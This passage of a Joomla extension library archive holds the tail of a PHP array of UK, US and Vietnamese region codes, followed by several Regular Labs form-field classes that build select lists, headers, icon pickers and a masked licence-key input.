'GB-RDG' => "United Kingdom: Reading",
'GB-RDB' => "United Kingdom: Redbridge",
'GB-RCC' => "United Kingdom: Redcar and
Cleveland",
'GB-RFW' => "United Kingdom: Renfrewshire",
'GB-RCT' => "United Kingdom: Rhondda, Cynon, Taff
(Rhondda, Cynon, Taf)",
'GB-RIC' => "United Kingdom: Richmond upon
Thames",
'GB-RCH' => "United Kingdom: Rochdale",
'GB-ROT' => "United Kingdom: Rotherham",
'GB-RUT' => "United Kingdom: Rutland",
'GB-SLF' => "United Kingdom: Salford",
'GB-SAW' => "United Kingdom: Sandwell",
'GB-SCT' => "United Kingdom: Scotland",
'GB-SCB' => "United Kingdom: Scottish Borders,
The",
'GB-SFT' => "United Kingdom: Sefton",
'GB-SHF' => "United Kingdom: Sheffield",
'GB-ZET' => "United Kingdom: Shetland Islands",
'GB-SHR' => "United Kingdom: Shropshire",
'GB-SLG' => "United Kingdom: Slough",
'GB-SOL' => "United Kingdom: Solihull",
'GB-SOM' => "United Kingdom: Somerset",
'GB-SAY' => "United Kingdom: South Ayrshire",
'GB-SGC' => "United Kingdom: South
Gloucestershire",
'GB-SLK' => "United Kingdom: South Lanarkshire",
'GB-STY' => "United Kingdom: South Tyneside",
'GB-STH' => "United Kingdom: Southampton",
'GB-SOS' => "United Kingdom: Southend-on-Sea",
'GB-SWK' => "United Kingdom: Southwark",
'GB-SHN' => "United Kingdom: St. Helens",
'GB-STS' => "United Kingdom: Staffordshire",
'GB-STG' => "United Kingdom: Stirling",
'GB-SKP' => "United Kingdom: Stockport",
'GB-STT' => "United Kingdom: Stockton-on-Tees",
'GB-STE' => "United Kingdom: Stoke-on-Trent",
'GB-STB' => "United Kingdom: Strabane",
'GB-SFK' => "United Kingdom: Suffolk",
'GB-SND' => "United Kingdom: Sunderland",
'GB-SRY' => "United Kingdom: Surrey",
'GB-STN' => "United Kingdom: Sutton",
'GB-SWA' => "United Kingdom: Swansea (Abertawe)",
'GB-SWD' => "United Kingdom: Swindon",
'GB-TAM' => "United Kingdom: Tameside",
'GB-TFW' => "United Kingdom: Telford and Wrekin",
'GB-THR' => "United Kingdom: Thurrock",
'GB-TOB' => "United Kingdom: Torbay",
'GB-TOF' => "United Kingdom: Torfaen (Tor-faen)",
'GB-TWH' => "United Kingdom: Tower Hamlets",
'GB-TRF' => "United Kingdom: Trafford",
'GB-UKM' => "United Kingdom: United Kingdom",
'GB-VGL' => "United Kingdom: Vale of Glamorgan, The
(Bro Morgannwg)",
'GB-WKF' => "United Kingdom: Wakefield",
'GB-WLS' => "United Kingdom: Wales",
'GB-WLL' => "United Kingdom: Walsall",
'GB-WFT' => "United Kingdom: Waltham Forest",
'GB-WND' => "United Kingdom: Wandsworth",
'GB-WRT' => "United Kingdom: Warrington",
'GB-WAR' => "United Kingdom: Warwickshire",
'GB-WBK' => "United Kingdom: West Berkshire",
'GB-WDU' => "United Kingdom: West Dunbartonshire",
'GB-WLN' => "United Kingdom: West Lothian",
'GB-WSX' => "United Kingdom: West Sussex",
'GB-WSM' => "United Kingdom: Westminster",
'GB-WGN' => "United Kingdom: Wigan",
'GB-WNM' => "United Kingdom: Windsor and
Maidenhead",
'GB-WRL' => "United Kingdom: Wirral",
'GB-WOK' => "United Kingdom: Wokingham",
'GB-WLV' => "United Kingdom: Wolverhampton",
'GB-WOR' => "United Kingdom: Worcestershire",
'GB-WRX' => "United Kingdom: Wrexham (Wrecsam)",
'GB-YOR' => "United Kingdom: York",
'--US' => "", '-US' => "United
States",
'US-AL' => "United States: Alabama",
'US-AK' => "United States: Alaska",
'US-AS' => "United States: American Samoa, Samoa
Americana",
'US-AZ' => "United States: Arizona",
'US-AR' => "United States: Arkansas",
'US-CA' => "United States: California",
'US-CO' => "United States: Colorado",
'US-CT' => "United States: Connecticut",
'US-DE' => "United States: Delaware",
'US-DC' => "United States: District of Columbia,
Disricte de Columbia",
'US-FL' => "United States: Florida",
'US-GA' => "United States: Georgia, Geòrgia",
'US-GU' => "United States: Guam",
'US-HI' => "United States: Hawaii",
'US-ID' => "United States: Idaho",
'US-IL' => "United States: Illinois",
'US-IN' => "United States: Indiana",
'US-IA' => "United States: Iowa",
'US-KS' => "United States: Kansas",
'US-KY' => "United States: Kentucky",
'US-LA' => "United States: Louisiana",
'US-ME' => "United States: Maine",
'US-MD' => "United States: Maryland",
'US-MA' => "United States: Massachusetts",
'US-MI' => "United States: Michigan",
'US-MN' => "United States: Minnesota",
'US-MS' => "United States: Mississippi",
'US-MO' => "United States: Missouri",
'US-MT' => "United States: Montana",
'US-NE' => "United States: Nebraska",
'US-NV' => "United States: Nevada",
'US-NH' => "United States: New Hampshire",
'US-NJ' => "United States: New Jersey",
'US-NM' => "United States: New Mexico",
'US-NY' => "United States: New York",
'US-NC' => "United States: North Carolina",
'US-ND' => "United States: North Dakota",
'US-MP' => "United States: Northern Mariana Islands,
Illes Marianes del Nord",
'US-OH' => "United States: Ohio",
'US-OK' => "United States: Oklahoma",
'US-OR' => "United States: Oregon",
'US-PA' => "United States: Pennsylvania",
'US-PR' => "United States: Puerto Rico",
'US-RI' => "United States: Rhode Island",
'US-SC' => "United States: South Carolina",
'US-SD' => "United States: South Dakota",
'US-TN' => "United States: Tennessee",
'US-TX' => "United States: Texas",
'US-UM' => "United States: United States Minor Outlying
Islands, Illes Perifèriques Menors dels EUA",
'US-UT' => "United States: Utah",
'US-VT' => "United States: Vermont",
'US-VI' => "United States: Virgin Islands, Illes
Verge",
'US-VA' => "United States: Virginia",
'US-WA' => "United States: Washington",
'US-WV' => "United States: West Virginia",
'US-WI' => "United States: Wisconsin",
'US-WY' => "United States: Wyoming",
'--VN' => "", '-VN' =>
"Vietnam",
'VN-44' => "Vietnam: An Giang",
'VN-43' => "Vietnam: Bà Rịa - Vũng Tàu",
'VN-57' => "Vietnam: Bình Dương",
'VN-58' => "Vietnam: Bình Phước",
'VN-40' => "Vietnam: Bình Thuận",
'VN-31' => "Vietnam: Bình Định",
'VN-55' => "Vietnam: Bạc Liêu",
'VN-54' => "Vietnam: Bắc Giang",
'VN-53' => "Vietnam: Bắc Kạn",
'VN-56' => "Vietnam: Bắc Ninh",
'VN-50' => "Vietnam: Bến Tre",
'VN-04' => "Vietnam: Cao Bằng",
'VN-59' => "Vietnam: Cà Mau",
'VN-48' => "Vietnam: Cần Thơ",
'VN-30' => "Vietnam: Gia Lai",
'VN-14' => "Vietnam: Hoà Bình",
'VN-03' => "Vietnam: Hà Giang",
'VN-63' => "Vietnam: Hà Nam",
'VN-64' => "Vietnam: Hà Nội, thủ đô",
'VN-15' => "Vietnam: Hà Tây",
'VN-23' => "Vietnam: Hà Tỉnh",
'VN-66' => "Vietnam: Hưng Yên",
'VN-61' => "Vietnam: Hải Duong",
'VN-62' => "Vietnam: Hải Phòng, thành phố",
'VN-73' => "Vietnam: Hậu Giang",
'VN-65' => "Vietnam: Hồ Chí Minh, thành phố [Sài
Gòn]",
'VN-34' => "Vietnam: Khánh Hòa",
'VN-47' => "Vietnam: Kiên Giang",
'VN-28' => "Vietnam: Kon Tum",
'VN-01' => "Vietnam: Lai Châu",
'VN-41' => "Vietnam: Long An",
'VN-02' => "Vietnam: Lào Cai",
'VN-35' => "Vietnam: Lâm Đồng",
'VN-09' => "Vietnam: Lạng Sơn",
'VN-67' => "Vietnam: Nam Định",
'VN-22' => "Vietnam: Nghệ An",
'VN-18' => "Vietnam: Ninh Bình",
'VN-36' => "Vietnam: Ninh Thuận",
'VN-68' => "Vietnam: Phú Thọ",
'VN-32' => "Vietnam: Phú Yên",
'VN-24' => "Vietnam: Quảng Bình",
'VN-27' => "Vietnam: Quảng Nam",
'VN-29' => "Vietnam: Quảng Ngãi",
'VN-13' => "Vietnam: Quảng Ninh",
'VN-25' => "Vietnam: Quảng Trị",
'VN-52' => "Vietnam: Sóc Trăng",
'VN-05' => "Vietnam: Sơn La",
'VN-21' => "Vietnam: Thanh Hóa",
'VN-20' => "Vietnam: Thái Bình",
'VN-69' => "Vietnam: Thái Nguyên",
'VN-26' => "Vietnam: Thừa Thiên-Huế",
'VN-46' => "Vietnam: Tiền Giang",
'VN-51' => "Vietnam: Trà Vinh",
'VN-07' => "Vietnam: Tuyên Quang",
'VN-37' => "Vietnam: Tây Ninh",
'VN-49' => "Vietnam: Vĩnh Long",
'VN-70' => "Vietnam: Vĩnh Phúc",
'VN-06' => "Vietnam: Yên Bái",
'VN-71' => "Vietnam: Điện Biên",
'VN-60' => "Vietnam: Đà Nẵng, thành phố",
'VN-33' => "Vietnam: Đắc Lắk",
'VN-72' => "Vietnam: Đắk Nông",
'VN-39' => "Vietnam: Đồng Nai",
'VN-45' => "Vietnam: Đồng Tháp",
];
}
fields/grouplevel.php000064400000004434151167425550010727 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_GroupLevel extends \RegularLabs\Library\Field
{
public $type = 'GroupLevel';
protected function getInput()
{
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
$show_all = $this->get('show_all');
$use_names = $this->get('use_names');
return $this->selectListAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple', 'show_all',
'use_names')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$options = $this->getOptions(
(bool) $attributes->get('show_all'),
(bool) $attributes->get('use_names')
);
return $this->selectList($options, $name, $value, $id, $size,
$multiple);
}
protected function getOptions($show_all = false, $use_names = false)
{
$options = $this->getUserGroups($use_names);
if ($show_all)
{
$option = (object) [];
$option->value = -1;
$option->text = '- ' . JText::_('JALL') .
' -';
$option->disable = '';
array_unshift($options, $option);
}
return $options;
}
protected function getUserGroups($use_names = false)
{
$value = $use_names ? 'a.title' : 'a.id';
$query = $this->db->getQuery(true)
->select($value . ' as value, a.title as text, a.parent_id AS
parent')
->from('#__usergroups AS a')
->select('COUNT(DISTINCT b.id) AS level')
->join('LEFT', '#__usergroups AS b ON a.lft > b.lft
AND a.rgt < b.rgt')
->group('a.id')
->order('a.lft ASC');
$this->db->setQuery($query);
return $this->db->loadObjectList();
}
}
fields/header.php000064400000006420151167425550007770 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Application\ApplicationHelper as JApplicationHelper;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\RegEx as RL_RegEx;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Header extends \RegularLabs\Library\Field
{
public $type = 'Header';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$title = $this->get('label');
$description = $this->get('description');
$xml = $this->get('xml');
$url = $this->get('url');
if ($description)
{
$description =
RL_String::html_entity_decoder(trim(JText::_($description)));
}
if ($title)
{
$title = JText::_($title);
}
if ($description)
{
// Replace inline monospace style with rl_code classname
$description = str_replace('span
style="font-family:monospace;"', 'span
class="rl_code"', $description);
// 'Break' plugin style tags
$description = str_replace(['{', '['],
['<span>{</span>',
'<span>[</span>'], $description);
// Wrap in paragraph (if not already starting with an html tag)
if ($description[0] != '<')
{
$description = '<p>' . $description .
'</p>';
}
}
if ( ! $xml && $this->form->getValue('element'))
{
if ($this->form->getValue('folder'))
{
$xml = 'plugins/' .
$this->form->getValue('folder') . '/' .
$this->form->getValue('element') . '/' .
$this->form->getValue('element') . '.xml';
}
else
{
$xml = 'administrator/modules/' .
$this->form->getValue('element') . '/' .
$this->form->getValue('element') . '.xml';
}
}
if ($xml)
{
$xml = JApplicationHelper::parseXMLInstallFile(JPATH_SITE .
'/' . $xml);
$version = 0;
if ($xml && isset($xml['version']))
{
$version = $xml['version'];
}
if ($version)
{
if (strpos($version, 'PRO') !== false)
{
$version = str_replace('PRO', '', $version);
$version .= ' <small
style="color:green">[PRO]</small>';
}
else if (strpos($version, 'FREE') !== false)
{
$version = str_replace('FREE', '', $version);
$version .= ' <small
style="color:green">[FREE]</small>';
}
if ($title)
{
$title .= ' v';
}
else
{
$title = JText::_('Version') . ' ';
}
$title .= $version;
}
}
$html = [];
if ($title)
{
if ($url)
{
$title = '<a href="' . $url . '"
target="_blank" title="'
. RL_RegEx::replace('<[^>]*>', '',
$title) . '">' . $title . '</a>';
}
$html[] = '<h4>' .
RL_String::html_entity_decoder($title) . '</h4>';
}
if ($description)
{
$html[] = $description;
}
if ($url)
{
$html[] = '<p><a href="' . $url . '"
class="btn btn-default" target="_blank"
title="' . JText::_('RL_MORE_INFO') .
'">' . JText::_('RL_MORE_INFO') . '
>></a></p>';
}
return '</div><div>' . implode('',
$html);
}
}
fields/header_library.php000064400000003060151167425550011511
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
require_once __DIR__ . '/header.php';
class JFormFieldRL_Header_Library extends JFormFieldRL_Header
{
protected function getInput()
{
$extensions = [
'Add to Menu',
'Advanced Module Manager',
'Advanced Template Manager',
'Articles Anywhere',
'Articles Field',
'Better Preview',
'Better Trash',
'Cache Cleaner',
'CDN for Joomla!',
'Components Anywhere',
'Conditional Content',
'Content Templater',
'DB Replacer',
'Dummy Content',
'Email Protector',
'GeoIP',
'IP Login',
'Modals',
'Modules Anywhere',
'Quick Index',
'Regular Labs Extension Manager',
'ReReplacer',
'Simple User Notes',
'Sliders',
'Snippets',
'Sourcerer',
'Tabs',
'Tooltips',
'What? Nothing!',
];
$list = '<ul><li>' .
implode('</li><li>', $extensions) .
'</li></ul>';
$attributes = $this->element->attributes();
$warning = '';
if (isset($attributes['warning']))
{
$warning = '<div class="alert alert-danger">'
. JText::_($attributes['warning']) . '</div>';
}
$this->element->attributes()['description'] =
JText::sprintf($attributes['description'], $warning, $list);
return parent::getInput();
}
}
fields/hikashop.php000064400000005110151167425550010341 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_HikaShop extends \RegularLabs\Library\FieldGroup
{
public $type = 'HikaShop';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories' =>
'category', 'products' => 'product']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__hikashop_category')
->where('category_published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear()
->select('c.category_id')
->from('#__hikashop_category AS c')
->where('c.category_type = ' .
$this->db->quote('root'));
$this->db->setQuery($query);
$root = (int) $this->db->loadResult();
$query->clear()
->select('c.category_id as id, c.category_parent_id AS
parent_id, c.category_name AS title, c.category_published as
published')
->from('#__hikashop_category AS c')
->where('c.category_type = ' .
$this->db->quote('product'))
->where('c.category_published > -1')
->order('c.category_ordering, c.category_name');
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items, $root);
}
function getProducts()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__hikashop_product AS p')
->where('p.product_published = 1')
->where('p.product_type = ' .
$this->db->quote('main'));
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('p.product_id as id, p.product_name AS name,
p.product_published AS published, c.category_name AS cat')
->join('LEFT', '#__hikashop_product_category AS x ON
x.product_id = p.product_id')
->join('INNER', '#__hikashop_category AS c ON
c.category_id = x.category_id')
->group('p.product_id')
->order('p.product_id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['cat',
'id']);
}
}
fields/icons.php000064400000006063151167425550007656 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Icons extends \RegularLabs\Library\Field
{
public $type = 'Icons';
protected function getInput()
{
$value = $this->value;
if ( ! is_array($value))
{
$value = explode(',', $value);
}
$classes = [
'reglab icon-contenttemplater',
'home',
'user',
'locked',
'comments',
'comments-2',
'out',
'plus',
'pencil',
'pencil-2',
'file',
'file-add',
'file-remove',
'copy',
'folder',
'folder-2',
'picture',
'pictures',
'list-view',
'power-cord',
'cube',
'puzzle',
'flag',
'tools',
'cogs',
'cog',
'equalizer',
'wrench',
'brush',
'eye',
'star',
'calendar',
'calendar-2',
'help',
'support',
'warning',
'checkmark',
'mail',
'mail-2',
'drawer',
'drawer-2',
'box-add',
'box-remove',
'search',
'filter',
'camera',
'play',
'music',
'grid-view',
'grid-view-2',
'menu',
'thumbs-up',
'thumbs-down',
'plus-2',
'minus-2',
'key',
'quote',
'quote-2',
'database',
'location',
'zoom-in',
'zoom-out',
'health',
'wand',
'refresh',
'vcard',
'clock',
'compass',
'address',
'feed',
'flag-2',
'pin',
'lamp',
'chart',
'bars',
'pie',
'dashboard',
'lightning',
'move',
'printer',
'color-palette',
'camera-2',
'cart',
'basket',
'broadcast',
'screen',
'tablet',
'mobile',
'users',
'briefcase',
'download',
'upload',
'bookmark',
'out-2',
];
$html = [];
if ($this->get('show_none'))
{
$checked = (in_array('0', $value) ? '
checked="checked"' : '');
$html[] = '<fieldset>';
$html[] = '<input type="radio" id="' .
$this->id . '0" name="' . $this->name .
'"' . ' value="0"' . $checked .
'>';
$html[] = '<label for="' . $this->id .
'0">' . JText::_('RL_NO_ICON') .
'</label>';
$html[] = '</fieldset>';
}
foreach ($classes as $i => $class)
{
$id = str_replace(' ', '_', $this->id .
$class);
$checked = (in_array($class, $value) ? '
checked="checked"' : '');
$html[] = '<fieldset class="pull-left">';
$html[] = '<input type="radio" id="' . $id .
'" name="' . $this->name . '"'
. ' value="' . htmlspecialchars($class, ENT_COMPAT,
'UTF-8') . '"' . $checked . '>';
$html[] = '<label for="' . $id . '"
class="btn btn-small hasTip" title="' . $class .
'"><span class="icon-' . $class .
'"></span></label>';
$html[] = '</fieldset>';
}
return '<div id="' . $this->id . '"
class="btn-group radio rl_icon_group">' .
implode('', $html) . '</div>';
}
}
fields/isinstalled.php000064400000001777151167425550011065 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\Extension as RL_Extension;
jimport('joomla.form.formfield');
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_IsInstalled extends \RegularLabs\Library\Field
{
public $type = 'IsInstalled';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$is_installed =
RL_Extension::isInstalled($this->get('extension'),
$this->get('extension_type'),
$this->get('folder'));
return '<input type="hidden" name="' .
$this->name . '" id="' . $this->id . '"
value="' . (int) $is_installed . '">';
}
}
fields/k2.php000064400000006147151167425550007062 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
// If controller.php exists, assume this is K2 v3
defined('RL_K2_VERSION') or define('RL_K2_VERSION',
file_exists(JPATH_ADMINISTRATOR .
'/components/com_k2/controller.php') ? 3 : 2);
class JFormFieldRL_K2 extends \RegularLabs\Library\FieldGroup
{
public $type = 'K2';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories',
'items', 'tags']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$state_field = RL_K2_VERSION == 3 ? 'state' :
'published';
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__k2_categories AS c')
->where('c.' . $state_field . ' > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$parent_field = RL_K2_VERSION == 3 ? 'parent_id' :
'parent';
$title_field = RL_K2_VERSION == 3 ? 'title' :
'name';
$ordering_field = RL_K2_VERSION == 3 ? 'lft' :
'ordering';
$query->clear('select')
->select('c.id, c.' . $parent_field . ' AS parent_id,
c.' . $title_field . ' AS title, c.' . $state_field . '
AS published');
if ( ! $this->get('getcategories', 1))
{
$query->where('c.' . $parent_field . ' = 0');
}
$query->order('c.' . $ordering_field . ', c.' .
$title_field);
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items);
}
function getTags()
{
$state_field = RL_K2_VERSION == 3 ? 'state' :
'published';
$query = $this->db->getQuery(true)
->select('t.name as id, t.name as name')
->from('#__k2_tags AS t')
->where('t.' . $state_field . ' = 1')
->where('t.name != ' .
$this->db->quote(''))
->group('t.name')
->order('t.name');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list);
}
function getItems()
{
$state_field = RL_K2_VERSION == 3 ? 'state' :
'published';
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__k2_items AS i')
->where('i.' . $state_field . ' > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$cat_title_field = RL_K2_VERSION == 3 ? 'title' :
'name';
$query->clear('select')
->select('i.id, i.title as name, c.' . $cat_title_field .
' as cat, i.' . $state_field . ' as published')
->join('LEFT', '#__k2_categories AS c ON c.id =
i.catid')
->group('i.id')
->order('i.title, i.ordering, i.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['cat',
'id']);
}
}
fields/key.php000064400000005560151167425550007334 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Key extends \RegularLabs\Library\Field
{
public $type = 'Key';
protected function getInput()
{
$action = $this->get('action',
'Joomla.submitbutton(\'config.save.component.apply\')');
$key = trim($this->value);
if ( ! $key)
{
return '<div id="' . $this->id . '_field"
class="btn-wrapper input-append clearfix">'
. '<input type="text" class="rl_codefield"
name="' . $this->name . '" id="' .
$this->id . '" autocomplete="off"
value="">'
. '<button href="#" class="btn btn-success"
title="' . JText::_('JAPPLY') . '"
onclick="' . $action . '">'
. '<span
class="icon-checkmark"></span>'
. '</button>'
. '</div>';
}
$cloak_length = max(0, strlen($key) - 4);
$key = str_repeat('*', $cloak_length) .
substr($this->value, $cloak_length);
$show = 'jQuery(\'#' . $this->id .
'\').attr(\'name\', \'' . $this->name .
'\');'
. 'jQuery(\'#' . $this->id .
'_hidden\').attr(\'name\', \'\');'
. 'jQuery(\'#' . $this->id .
'_button\').hide();'
. 'jQuery(\'#' . $this->id .
'_field\').show();';
$hide = 'jQuery(\'#' . $this->id .
'\').attr(\'name\', \'\');'
. 'jQuery(\'#' . $this->id .
'_hidden\').attr(\'name\', \'' .
$this->name . '\');'
. 'jQuery(\'#' . $this->id .
'_field\').hide();'
. 'jQuery(\'#' . $this->id .
'_button\').show();';
return
'<div class="rl_keycode pull-left">' . $key .
'</div>'
. '<div id="' . $this->id . '_button"
class="pull-left">'
. '<button class="btn btn-default btn-small"
onclick="' . $show . ';return false;">'
. '<span class="icon-edit"></span> '
. JText::_('JACTION_EDIT')
. '</button>'
. '</div>'
. '<div class="clearfix"></div>'
. '<div id="' . $this->id . '_field"
class="btn-wrapper input-append clearfix"
style="display:none;">'
. '<input type="text" class="rl_codefield"
name="" id="' . $this->id . '"
autocomplete="off" value="">'
. '<button href="#" class="btn btn-success
btn" title="' . JText::_('JAPPLY') . '"
onclick="' . $action . '">'
. '<span class="icon-checkmark"></span>'
. '</button>'
. '<button href="#" class="btn btn-danger
btn" title="' . JText::_('JCANCEL') . '"
onclick="' . $hide . ';return false;">'
. '<span class="icon-cancel-2"></span>'
. '</button>'
. '</div>'
. '<input type="hidden" name="' .
$this->name . '" id="' . $this->id .
'_hidden" value="' . $this->value .
'">';
}
}
fields/languages.php000064400000003363151167425550010511 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Languages extends \RegularLabs\Library\Field
{
public $type = 'Languages';
protected function getInput()
{
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
return $this->selectListSimpleAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$options = $this->getLanguages($value);
return $this->selectListSimple($options, $name, $value, $id, $size,
$multiple);
}
function getLanguages($value)
{
$langs = JHtml::_('contentlanguage.existing');
if ( ! is_array($value))
{
$value = [$value];
}
$options = [];
foreach ($langs as $lang)
{
if (empty($lang->value))
{
continue;
}
$options[] = (object) [
'value' => $lang->value,
'text' => $lang->text . ' [' .
$lang->value . ']',
'selected' => in_array($lang->value, $value),
];
}
return $options;
}
}
fields/license.php000064400000001677151167425550010173 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\License as RL_License;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_License extends \RegularLabs\Library\Field
{
public $type = 'License';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$extension = $this->get('extension');
if (empty($extension))
{
return '';
}
$message = RL_License::getMessage($extension, true);
if (empty($message))
{
return '';
}
return '</div><div>' . $message;
}
}
fields/list.php000064400000003735151167425550007521 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('JPATH_PLATFORM') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
JFormHelper::loadFieldClass('list');
class JFormFieldRL_List extends JFormFieldList
{
protected $type = 'List';
protected function getInput()
{
$html = [];
$attr = '';
// Initialize some field attributes.
$attr .= ! empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= $this->size ? ' style="width:' .
$this->size . 'px"' : '';
$attr .= $this->multiple ? ' multiple' : '';
$attr .= $this->required ? ' required
aria-required="true"' : '';
$attr .= $this->autofocus ? ' autofocus' : '';
// To avoid user's confusion, readonly="true" should imply
disabled="true".
if ((string) $this->readonly == '1' || (string)
$this->readonly == 'true' || (string) $this->disabled ==
'1' || (string) $this->disabled == 'true')
{
